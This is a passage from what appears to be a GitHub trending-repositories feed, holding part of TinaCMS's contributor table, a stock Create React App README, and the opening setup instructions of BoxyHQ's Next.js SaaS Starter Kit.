title="Tests">⚠️</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-jpuri" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Ajpuri" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/nibtime"><img src="https://avatars2.githubusercontent.com/u/52962482?v=4?s=100" width="100px;" alt="nibtime"><br><sub><b>nibtime</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=nibtime" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Anibtime" title="Bug reports">🐛</a></td> <td align="center"><a href="http://doyoubuzz.com/johan-soulet"><img src="https://avatars0.githubusercontent.com/u/2269599?v=4?s=100" width="100px;" alt="Johan Soulet"><br><sub><b>Johan Soulet</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=jsoulet" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Ajsoulet" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/cleitonper"><img src="https://avatars1.githubusercontent.com/u/13934790?v=4?s=100" width="100px;" alt="Cleiton Pereira"><br><sub><b>Cleiton Pereira</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Acleitonper" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-cleitonper" title="Ideas, Planning, &amp; Feedback">🤔</a></td> </tr> <tr> <td align="center"><a href="https://github.com/chrisdmacrae"><img src="https://avatars2.githubusercontent.com/u/6855186?v=4?s=100" width="100px;" alt="chrisdmacrae"><br><sub><b>chrisdmacrae</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-chrisdmacrae" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#question-chrisdmacrae" title="Answering Questions">💬</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-chrisdmacrae" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center"><a href="https://github.com/jhuggett"><img src="https://avatars2.githubusercontent.com/u/59655877?v=4?s=100" width="100px;" alt="jhuggett"><br><sub><b>jhuggett</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=jhuggett" title="Code">💻</a></td> <td align="center"><a href="https://www.nckweb.com.ar"><img src="https://avatars0.githubusercontent.com/u/174561?v=4?s=100" width="100px;" alt="Nicolas Cisco"><br><sub><b>Nicolas Cisco</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=NickCis" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/commits?author=NickCis" title="Tests">⚠️</a></td> <td align="center"><a href="https://www.hungrybearstudio.com/"><img src="https://avatars1.githubusercontent.com/u/22930449?v=4?s=100" width="100px;" alt="Hungry Bear Studio"><br><sub><b>Hungry Bear Studio</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=molebox" title="Code">💻</a></td> <td align="center"><a href="https://github.com/alexbarbato"><img src="https://avatars1.githubusercontent.com/u/23562192?v=4?s=100" width="100px;" alt="Alex Barbato"><br><sub><b>Alex Barbato</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=alexbarbato" title="Code">💻</a></td> <td align="center"><a href="http://danitulp.nl"><img src="https://avatars3.githubusercontent.com/u/18421761?v=4?s=100" width="100px;" alt="Dani Tulp"><br><sub><b>Dani Tulp</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=DaniTulp" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-DaniTulp" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/tinacms/tinacms/commits?author=DaniTulp" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/PaulBunker"><img src="https://avatars1.githubusercontent.com/u/1537408?v=4?s=100" width="100px;" alt="PaulBunker"><br><sub><b>PaulBunker</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=PaulBunker" title="Code">💻</a></td> </tr> <tr> <td align="center"><a href="https://joeprevite.com"><img src="https://avatars3.githubusercontent.com/u/3806031?v=4?s=100" width="100px;" alt="JavaScript Joe"><br><sub><b>JavaScript Joe</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=jsjoeio" title="Code">💻</a></td> <td align="center"><a href="https://www.madelyneriksen.com"><img src="https://avatars3.githubusercontent.com/u/36825510?v=4?s=100" width="100px;" alt="Madelyn Eriksen"><br><sub><b>Madelyn Eriksen</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-madelyneriksen" title="Blogposts">📝</a></td> <td align="center"><a href="http://www.mintel.me"><img src="https://avatars1.githubusercontent.com/u/4574612?v=4?s=100" width="100px;" alt="Marc Mintel"><br><sub><b>Marc Mintel</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-mmintel" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/tinacms/tinacms/commits?author=mmintel" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Ammintel" title="Bug reports">🐛</a></td> <td align="center"><a href="http://forestry.io"><img src="https://avatars3.githubusercontent.com/u/5414297?v=4?s=100" width="100px;" alt="Jeff See"><br><sub><b>Jeff See</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-jeffsee55" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/tinacms/tinacms/commits?author=jeffsee55" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-jeffsee55" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/commits?author=jeffsee55" title="Tests">⚠️</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Ajeffsee55" title="Reviewed Pull Requests">👀</a></td> <td align="center"><a href="https://github.com/blandfried-magellan"><img src="https://avatars3.githubusercontent.com/u/38441047?v=4?s=100" width="100px;" alt="Brandon Landfried"><br><sub><b>Brandon Landfried</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Ablandfried-magellan" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/chaddjohnson"><img src="https://avatars0.githubusercontent.com/u/676134?v=4?s=100" width="100px;" alt="Chad Johnson"><br><sub><b>Chad Johnson</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Achaddjohnson" title="Bug reports">🐛</a></td> <td align="center"><a href="https://xoe.solutions"><img src="https://avatars0.githubusercontent.com/u/7548295?v=4?s=100" width="100px;" alt="David Arnold"><br><sub><b>David Arnold</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-blaggacao" title="Ideas, Planning, &amp; Feedback">🤔</a></td> </tr> <tr> <td align="center"><a href="https://gavinmcfarland.co.uk/"><img src="https://avatars1.githubusercontent.com/u/5551?v=4?s=100" width="100px;" alt="Gavin McFarland"><br><sub><b>Gavin McFarland</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Alimitlessloop" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/blandfried"><img src="https://avatars1.githubusercontent.com/u/1953556?v=4?s=100" width="100px;" alt="blandfried"><br><sub><b>blandfried</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Ablandfried" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=blandfried" title="Code">💻</a></td> <td align="center"><a href="https://github.com/marklawlor"><img src="https://avatars1.githubusercontent.com/u/3946701?v=4?s=100" width="100px;" alt="Mark Lawlor"><br><sub><b>Mark Lawlor</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-marklawlor" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center"><a href="https://github.com/BPScott"><img src="https://avatars0.githubusercontent.com/u/227292?v=4?s=100" width="100px;" alt="Ben Scott"><br><sub><b>Ben Scott</b></sub></a><br><a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3ABPScott" title="Reviewed Pull Requests">👀</a></td> <td align="center"><a href="https://github.com/mittonface"><img src="https://avatars2.githubusercontent.com/u/5082908?v=4?s=100" width="100px;" alt="Brent Mitton"><br><sub><b>Brent Mitton</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=mittonface" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/commits?author=mittonface" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/clnmcgrw"><img src="https://avatars2.githubusercontent.com/u/5896972?v=4?s=100" width="100px;" alt="Colin McGraw"><br><sub><b>Colin McGraw</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=clnmcgrw" title="Documentation">📖</a></td> <td align="center"><a href="https://bshack.dev"><img src="https://avatars0.githubusercontent.com/u/1447644?v=4?s=100" width="100px;" alt="Brandon Shackelford"><br><sub><b>Brandon Shackelford</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=bshackelford" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Abshackelford" title="Bug reports">🐛</a></td> </tr> <tr> <td align="center"><a href="https://amyskapers.dev"><img src="https://avatars2.githubusercontent.com/u/15953185?v=4?s=100" width="100px;" alt="Amy Kapernick"><br><sub><b>Amy Kapernick</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Aamykapernick" title="Bug reports">🐛</a></td> <td align="center"><a href="http://samullman.com"><img src="https://avatars3.githubusercontent.com/u/10147333?v=4?s=100" width="100px;" alt="Sam Ullman"><br><sub><b>Sam Ullman</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Asamullman" title="Bug reports">🐛</a></td> <td align="center"><a href="https://pixelmord.github.io"><img src="https://avatars2.githubusercontent.com/u/224168?v=4?s=100" width="100px;" alt="Andreas Adam"><br><sub><b>Andreas Adam</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-pixelmord" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/tinacms/tinacms/commits?author=pixelmord" title="Documentation">📖</a> <a href="https://github.com/tinacms/tinacms/commits?author=pixelmord" title="Code">💻</a></td> <td align="center"><a href="http://stephensugden.com"><img src="https://avatars3.githubusercontent.com/u/82634?v=4?s=100" width="100px;" alt="Stephen Sugden"><br><sub><b>Stephen Sugden</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=grncdr" title="Documentation">📖</a></td> <td align="center"><a href="https://www.logan.bio"><img src="https://avatars2.githubusercontent.com/u/43075109?v=4?s=100" width="100px;" alt="Logan Anderson"><br><sub><b>Logan Anderson</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=logan-anderson" title="Code">💻</a></td> <td align="center"><a href="https://github.com/isabellabrookes"><img src="https://avatars1.githubusercontent.com/u/12928252?v=4?s=100" width="100px;" alt="Isabella Brookes"><br><sub><b>Isabella Brookes</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=isabellabrookes" title="Code">💻</a></td> <td align="center"><a href="https://github.com/sakulstra"><img src="https://avatars3.githubusercontent.com/u/4396533?v=4?s=100" width="100px;" alt="Lukas Strassel"><br><sub><b>Lukas Strassel</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=sakulstra" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/commits?author=sakulstra" title="Documentation">📖</a></td> </tr> <tr> <td align="center"><a href="http://laurenclark.io"><img src="https://avatars1.githubusercontent.com/u/5822683?v=4?s=100" width="100px;" alt="Lauren Clark"><br><sub><b>Lauren Clark</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=laurenclark" title="Documentation">📖</a></td> <td align="center"><a href="http://Nazeh.me"><img src="https://avatars0.githubusercontent.com/u/40009100?v=4?s=100" width="100px;" alt="Ar Nazeh"><br><sub><b>Ar Nazeh</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Nazeh" title="Documentation">📖</a></td> <td align="center"><a href="https://www.davidroyer.me/"><img src="https://avatars3.githubusercontent.com/u/8834693?v=4?s=100" width="100px;" alt="David Royer"><br><sub><b>David Royer</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=davidroyer" title="Documentation">📖</a></td> <td align="center"><a href="http://heytulsiprasad.now.sh"><img src="https://avatars2.githubusercontent.com/u/52394293?v=4?s=100" width="100px;" alt="Tulsi Prasad"><br><sub><b>Tulsi Prasad</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=heytulsiprasad" title="Documentation">📖</a></td> <td align="center"><a href="https://jan.vlnas.cz/"><img src="https://avatars3.githubusercontent.com/u/616767?v=4?s=100" width="100px;" alt="Jan Vlnas"><br><sub><b>Jan Vlnas</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=jnv" title="Documentation">📖</a></td> <td align="center"><a href="http://www.omarcostahamido.com"><img src="https://avatars0.githubusercontent.com/u/18335360?v=4?s=100" width="100px;" alt="Omar Costa Hamido"><br><sub><b>Omar Costa Hamido</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=omarcostahamido" title="Documentation">📖</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Aomarcostahamido" title="Bug reports">🐛</a></td> <td align="center"><a href="https://kedskeds.herokuapp.com"><img src="https://avatars3.githubusercontent.com/u/19883983?v=4?s=100" width="100px;" alt="Kelsey Edelstein"><br><sub><b>Kelsey Edelstein</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=kedskeds" title="Documentation">📖</a></td> </tr> <tr> <td align="center"><a href="https://github.com/CodeItQuick"><img src="https://avatars3.githubusercontent.com/u/10291643?v=4?s=100" width="100px;" alt="CodeItQuick"><br><sub><b>CodeItQuick</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3ACodeItQuick" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/mixja"><img src="https://avatars1.githubusercontent.com/u/3351083?v=4?s=100" width="100px;" alt="Justin Menga"><br><sub><b>Justin Menga</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=mixja" title="Code">💻</a></td> <td align="center"><a href="https://github.com/lukedigby"><img src="https://avatars1.githubusercontent.com/u/8407264?v=4?s=100" width="100px;" alt="Luke Digby"><br><sub><b>Luke Digby</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=lukedigby" title="Documentation">📖</a></td> <td align="center"><a href="http://kud.io"><img src="https://avatars3.githubusercontent.com/u/655838?v=4?s=100" width="100px;" alt="Erwann Mest"><br><sub><b>Erwann Mest</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=kud" title="Documentation">📖</a></td> <td align="center"><a href="https://franknoirot.co"><img src="https://avatars3.githubusercontent.com/u/23481541?v=4?s=100" width="100px;" alt="Frank Noirot"><br><sub><b>Frank Noirot</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=franknoirot" title="Documentation">📖</a></td> <td align="center"><a href="https://peerigon.com"><img src="https://avatars3.githubusercontent.com/u/1446082?v=4?s=100" width="100px;" alt="Matthias"><br><sub><b>Matthias</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=matthaias" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/croutonn"><img src="https://avatars1.githubusercontent.com/u/68943932?v=4?s=100" width="100px;" alt="crouton"><br><sub><b>crouton</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Acroutonn" title="Bug reports">🐛</a></td> </tr> <tr> <td align="center"><a href="https://github.com/alexbchr"><img src="https://avatars3.githubusercontent.com/u/3542313?v=4?s=100" width="100px;" alt="Alexandre Boucher"><br><sub><b>Alexandre Boucher</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=alexbchr" title="Code">💻</a></td> <td align="center"><a href="http://www.canrozanes.com"><img src="https://avatars1.githubusercontent.com/u/37912128?v=4?s=100" width="100px;" alt="Can Rozanes"><br><sub><b>Can Rozanes</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=canrozanes" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-canrozanes" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center"><a href="https://github.com/yannvanhalewyn"><img src="https://avatars2.githubusercontent.com/u/11170603?v=4?s=100" width="100px;" alt="Yann Vanhalewyn"><br><sub><b>Yann Vanhalewyn</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Ayannvanhalewyn" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/c58"><img src="https://avatars2.githubusercontent.com/u/1871220?v=4?s=100" width="100px;" alt="Artem Artemyev"><br><sub><b>Artem Artemyev</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Ac58" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=c58" title="Code">💻</a></td> <td align="center"><a href="http://lachlanmckay.com"><img src="https://avatars0.githubusercontent.com/u/14341953?v=4?s=100" width="100px;" alt="Lachlan McKay"><br><sub><b>Lachlan McKay</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=sneyed" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Asneyed" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/zenflow"><img src="https://avatars1.githubusercontent.com/u/3198597?v=4?s=100" width="100px;" alt="Matthew Francis Brunetti"><br><sub><b>Matthew Francis Brunetti</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=zenflow" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Azenflow" title="Bug reports">🐛</a></td> <td align="center"><a href="https://joeinn.es"><img src="https://avatars2.githubusercontent.com/u/4704069?v=4?s=100" width="100px;" alt="Joe Innes"><br><sub><b>Joe Innes</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=joeinnes" title="Documentation">📖</a> <a href="https://github.com/tinacms/tinacms/commits?author=joeinnes" title="Code">💻</a></td> </tr> <tr> <td align="center"><a href="http://www.austincondiff.com"><img src="https://avatars0.githubusercontent.com/u/806104?v=4?s=100" width="100px;" alt="Austin Condiff"><br><sub><b>Austin Condiff</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=austincondiff" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-austincondiff" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center"><a href="https://twitter.com/pristas_peter"><img src="https://avatars.githubusercontent.com/u/9489687?v=4?s=100" width="100px;" alt="pristas-peter"><br><sub><b>pristas-peter</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Apristas-peter" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=pristas-peter" title="Code">💻</a></td> <td align="center"><a href="http://www.danbeaven.com"><img src="https://avatars.githubusercontent.com/u/6131721?v=4?s=100" width="100px;" alt="Dan Beaven"><br><sub><b>Dan Beaven</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Pingid" title="Code">💻</a></td> <td align="center"><a href="https://hirvinfaria.dev"><img src="https://avatars.githubusercontent.com/u/42902087?v=4?s=100" width="100px;" alt="Hirvin Faria"><br><sub><b>Hirvin Faria</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=hirvin-faria" title="Documentation">📖</a></td> <td align="center"><a href="https://travismiller.com/"><img src="https://avatars.githubusercontent.com/u/494017?v=4?s=100" width="100px;" alt="Travis Miller"><br><sub><b>Travis Miller</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=travismiller" title="Code">💻</a></td> <td align="center"><a href="https://github.com/Enigmatical"><img src="https://avatars.githubusercontent.com/u/1699544?v=4?s=100" width="100px;" alt="Chris Davis"><br><sub><b>Chris Davis</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Enigmatical" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-Enigmatical" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/commits?author=Enigmatical" title="Tests">⚠️</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3AEnigmatical" title="Reviewed Pull Requests">👀</a></td> <td align="center"><a href="https://saintmalik.me"><img src="https://avatars.githubusercontent.com/u/37118134?v=4?s=100" width="100px;" alt="SaintMalik"><br><sub><b>SaintMalik</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=saintmalik" title="Documentation">📖</a></td> </tr> <tr> <td align="center"><a href="http://greenash.net.au/"><img src="https://avatars.githubusercontent.com/u/79373?v=4?s=100" width="100px;" alt="Jeremy Epstein"><br><sub><b>Jeremy Epstein</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Jaza" title="Documentation">📖</a> <a href="https://github.com/tinacms/tinacms/commits?author=Jaza" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#plugin-Jaza" title="Plugin/utility libraries">🔌</a></td> <td align="center"><a href="https://github.com/arpi0003"><img src="https://avatars.githubusercontent.com/u/1330417?v=4?s=100" width="100px;" alt="Eddie Arpin"><br><sub><b>Eddie Arpin</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=arpi0003" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Aarpi0003" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/Ryuurock"><img src="https://avatars.githubusercontent.com/u/25604544?v=4?s=100" width="100px;" alt="ryuurock"><br><sub><b>ryuurock</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Ryuurock" title="Code">💻</a></td> <td align="center"><a href="https://github.com/xaviemirmon"><img src="https://avatars.githubusercontent.com/u/5609840?v=4?s=100" width="100px;" alt="Xavier Mirabelli-Montan"><br><sub><b>Xavier Mirabelli-Montan</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=xaviemirmon" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Axaviemirmon" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-xaviemirmon" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center"><a href="https://github.com/Phoenix-Alpha"><img src="https://avatars.githubusercontent.com/u/71273009?v=4?s=100" width="100px;" alt="Phoenix-Alpha"><br><sub><b>Phoenix-Alpha</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Phoenix-Alpha" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3APhoenix-Alpha" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-Phoenix-Alpha" title="Maintenance">🚧</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>This project follows the <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification. Contributions of any kind welcome!</p> <p><img src="https://res.cloudinary.com/forestry-demo/image/upload/h_85/v1573167387/Favicon.png" alt=""></p> + Wu-Jinzhou/protocol-oracle + 2023-10-30T01:37:29Z + tag:github.com,2023-10-30:/Wu-Jinzhou/protocol-oracle + + <p></p><hr><p>This project was bootstrapped with <a href="https://github.com/facebook/create-react-app">Create React App</a>.</p> <h2>Available Scripts</h2> <p>In the project directory, you can run:</p> <h3><code>npm start</code></h3> <p>Runs the app in the development mode.<br> Open <a href="http://localhost:3000">http://localhost:3000</a> to view it in the browser.</p> <p>The page will reload if you make edits.<br> You will also see any lint errors in the console.</p> <h3><code>npm test</code></h3> <p>Launches the test runner in the interactive watch mode.<br> See the section about <a href="https://facebook.github.io/create-react-app/docs/running-tests">running tests</a> for more information.</p> <h3><code>npm run build</code></h3> <p>Builds the app for production to the <code>build</code> folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance.</p> <p>The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed!</p> <p>See the section about <a href="https://facebook.github.io/create-react-app/docs/deployment">deployment</a> for more information.</p> <h3><code>npm run eject</code></h3> <p><strong>Note: this is a one-way operation. Once you <code>eject</code>, you can’t go back!</strong></p> <p>If you aren’t satisfied with the build tool and configuration choices, you can <code>eject</code> at any time. This command will remove the single build dependency from your project.</p> <p>Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except <code>eject</code> will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own.</p> <p>You don’t have to ever use <code>eject</code>. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it.</p> <h2>Learn More</h2> <p>You can learn more in the <a href="https://facebook.github.io/create-react-app/docs/getting-started">Create React App documentation</a>.</p> <p>To learn React, check out the <a href="https://reactjs.org/">React documentation</a>.</p> - boxyhq/saas-starter-kit - 2023-10-29T01:44:36Z - tag:github.com,2023-10-29:/boxyhq/saas-starter-kit - - <p>🔥 Enterprise SaaS Starter Kit - Kickstart your enterprise app development with the Next.js SaaS boilerplate 🚀</p><hr><picture> <source media="(prefers-color-scheme: dark)" srcset="https://github.com/boxyhq/jackson/assets/66887028/871d9c0f-d351-49bb-9458-2542830d7910"> <source media="(prefers-color-scheme: light)" srcset="https://github.com/boxyhq/jackson/assets/66887028/4073c181-0653-4d5b-b74f-e7e84fe79da8"> <img alt="BoxyHQ Banner" src="https://github.com/boxyhq/jackson/assets/66887028/b40520b7-dbce-400b-88d3-400d1c215ea1"> </picture> <h3 align="center"> Participating in </h3> <div align="center"> <p><img src="https://ziadoua.github.io/m3-Markdown-Badges/badges/Hacktoberfest2023/hacktoberfest20231.svg?sanitize=true" alt="Hacktoberfest"></p> </div> <h3 align="center"> <p><a href="https://github.com/boxyhq/saas-starter-kit/issues">⬆️ Take a look at our Issues ⬆️</a></p> </h3> <hr> <h1>⭐ Enterprise SaaS Starter Kit</h1> <p> <a href="https://github.com/boxyhq/saas-starter-kit/stargazers"><img src="https://img.shields.io/github/stars/boxyhq/saas-starter-kit" alt="Github stargazers"></a> <a href="https://github.com/boxyhq/saas-starter-kit/issues"><img src="https://img.shields.io/github/issues/boxyhq/saas-starter-kit" alt="Github issues"></a> <a href="https://github.com/boxyhq/saas-starter-kit/raw/main/LICENSE"><img src="https://img.shields.io/github/license/boxyhq/saas-starter-kit" alt="license"></a> <a href="https://twitter.com/BoxyHQ"><img src="https://img.shields.io/twitter/follow/BoxyHQ?style=social" alt="Twitter"></a> <a href="https://www.linkedin.com/company/boxyhq"><img src="https://img.shields.io/badge/LinkedIn-blue" alt="LinkedIn"></a> <a href="https://discord.gg/uyb7pYt4Pa"><img src="https://img.shields.io/discord/877585485235630130" alt="Discord"></a> </p> <p>The Open Source Next.js SaaS boilerplate for Enterprise SaaS app development.</p> <p>Please star ⭐ the repo if you want us to continue developing and improving the SaaS Starter Kit! 😀</p> <h2>📖 Additional Resources</h2> <p>Video - <a href="https://www.youtube.com/watch?v=oF8QIwQIhyo">BoxyHQ's SaaS Starter Kit: Your Ultimate Enterprise-Compliant Boilerplate</a> <br> Blog - <a href="https://boxyhq.com/blog/enterprise-ready-saas-starter-kit">Enterprise-ready Saas Starter Kit</a></p> <p>Next.js-based SaaS starter kit saves you months of development by starting you off with all the features that are the same in every product, so you can focus on what makes your app unique.</p> <h2>🛠️ Built With</h2> <ul> <li><a href="https://nextjs.org">Next.js</a></li> <li><a href="https://tailwindcss.com">Tailwind CSS</a></li> <li><a href="https://www.postgresql.org">Postgres</a></li> <li><a href="https://reactjs.org">React</a></li> <li><a href="https://www.prisma.io">Prisma</a></li> <li><a href="https://www.typescriptlang.org">TypeScript</a></li> <li><a href="https://github.com/boxyhq/jackson">SAML Jackson</a> (Provides SAML SSO, Directory Sync)</li> <li><a href="https://www.svix.com/">Svix</a> (Provides Webhook Orchestration)</li> <li><a href="https://github.com/retracedhq/retraced">Retraced</a> (Provides Audit Logs Service)</li> </ul> <h2>🚀 Deployment</h2> <a href="https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Fboxyhq%2Fsaas-starter-kit&amp;env=NEXTAUTH_SECRET,SMTP_HOST,SMTP_PORT,SMTP_USER,SMTP_PASSWORD,SMTP_FROM,DATABASE_URL,APP_URL"> <img width="90" alt="Deploy with Vercel" src="https://vercel.com/button"> </a> <a href="https://heroku.com/deploy" alt="Deploy to Heroku"> <img alt="Deploy to Heroku" src="https://www.herokucdn.com/deploy/button.svg?sanitize=true"> </a> <a href="https://cloud.digitalocean.com/apps/new?repo=https://github.com/boxyhq/saas-starter-kit/tree/main" alt="Deploy to DO"> <img width="200" alt="Deploy to DO" src="https://www.deploytodo.com/do-btn-blue-ghost.svg?sanitize=true"> </a> <h2>✨ Getting Started</h2> <p>Please follow these simple steps to get a local copy up and running.</p> <h3>Prerequisites</h3> <ul> <li>Node.js (Version: &gt;=18.x)</li> <li>PostgreSQL</li> <li>NPM</li> <li>Docker compose</li> </ul> <h3>Development</h3> <h4>1. Setup</h4> <ul> <li><a href="https://github.com/boxyhq/saas-starter-kit/fork">Fork</a> the repository</li> <li>Clone the repository by using this command:</li> </ul> <pre><code class="language-bash">git clone https://github.com/&lt;your_github_username&gt;/saas-starter-kit.git </code></pre> <h4>2. Go to the project folder</h4> <pre><code class="language-bash">cd saas-starter-kit </code></pre> <h4>3. Install dependencies</h4> <pre><code class="language-bash">npm install </code></pre> <h4>4. Set up your .env file</h4> <p>Duplicate <code>.env.example</code> to <code>.env</code>.</p> <pre><code class="language-bash">cp .env.example .env </code></pre> <h4>5. Create a database (Optional)</h4> 